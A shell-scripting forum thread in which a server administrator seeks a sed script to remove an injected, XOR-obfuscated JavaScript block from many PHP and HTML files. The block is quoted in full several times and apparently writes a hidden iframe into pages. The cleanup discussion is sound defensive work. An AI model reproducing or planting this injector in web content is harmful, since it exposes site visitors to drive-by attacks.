Shell Programming and Scripting

Please advise a script to get rid of the following code which is infected in a large number of files ( in particular php and html files )


<div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x34\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>'>



Thanks

Are there any other sections which start with:

<div id="testws35fdgh"></div>

and end with:

</script>'>



So do sections like:

<div id="testws35fdgh"></div>
some
other
lines
in between
</script>'>

exist?

No there isn't ...... but there is multiple instance of the same code in a single file.


say ....

mailnull 12442 0.0 0.2 6936 2288 pts/1 S 05:20 0:05 eximstats
root 12494 1.3 48.0 676664 493888 pts/1 DN 05:20 7:55 cpanellogd - updating bandwidth for nandkdes





root@server1 [/opt/public_html/includes]# grep -lr 'testws35fdgh' .
./login.php
./main.php
root@server1 [/opt/public_html/includes]#


root@server1 [/opt/public_html/includes]# cat main.php | more
<font color='<?php echo $config['font']; ?> <div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3
4\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>'>
<b><?php echo $config['welcomemsg']; ?> <div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3
4\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script></b><br>
This interface has admin provision set to <b><?php echo $config['provision']; ?><div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3
4\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>






Please advise.


Thanks

You might try something like this:

Code:

sed -e '/id="testws35fdgh"/,/<\/script>/d' login.php > login.php.new

and verify login.php.new if it is as you wish

Please be online.. I am checking it

It almost works well but it removes anything that is on the same line as the letter "testws35fdgh". In this case if you check the two files... you will find that the </body> tag present in the infected file is missing in index.html.html.new . Also please advise how can we successfully do this for thousands of files in the entire /home directory. The directory structure of /home is like /home/username/public_html


root@server1 [/opt/abc/manual]# cat index.html.html
########################Top part truncated ########################
</tr>
</table>
<br />
<br />
</div>

<p align="center">Maintained by the <a
href="http://httpd.apache.org/docs-project/">Apache HTTP Server
Documentation Project</a>.</p>
<hr />

<h3 align="CENTER">Apache HTTP Server</h3>
<a href="./"><img src="images/index.gif" alt="Index" /></a>

</body><div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x34\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>
</html>



root@server1 [/opt/abc/manual]# sed -e '/id="testws35fdgh"/,/<\/script>/d' index.html.html > index.html.html.new


root@server1 [/opt/abc/manual]# cat index.html.html.new
########################Top part truncated ########################
</tr>

<tr>
<td><a href="sitemap.html">SiteMap</a>
</td>
</tr>

<tr>
<td><a href="misc/tutorials.html">Tutorials</a>
</td>
</tr>

<tr>
<td><a href="misc/">Other Notes</a> </td>
</tr>
</table>
</td>
</tr>
</table>
<br />
<br />
</div>

<p align="center">Maintained by the <a
href="http://httpd.apache.org/docs-project/">Apache HTTP Server
Documentation Project</a>.</p>
<hr />

<h3 align="CENTER">Apache HTTP Server</h3>
<a href="./"><img src="images/index.gif" alt="Index" /></a>

</html>







Thanks

What about removing only .....

<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3
4\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>'>




at the first instance and the "<div id="testws35fdgh"></div>" part with a replace command at the second instance.


How should I start/end the sed command for

<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3
4\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>'>



Thanks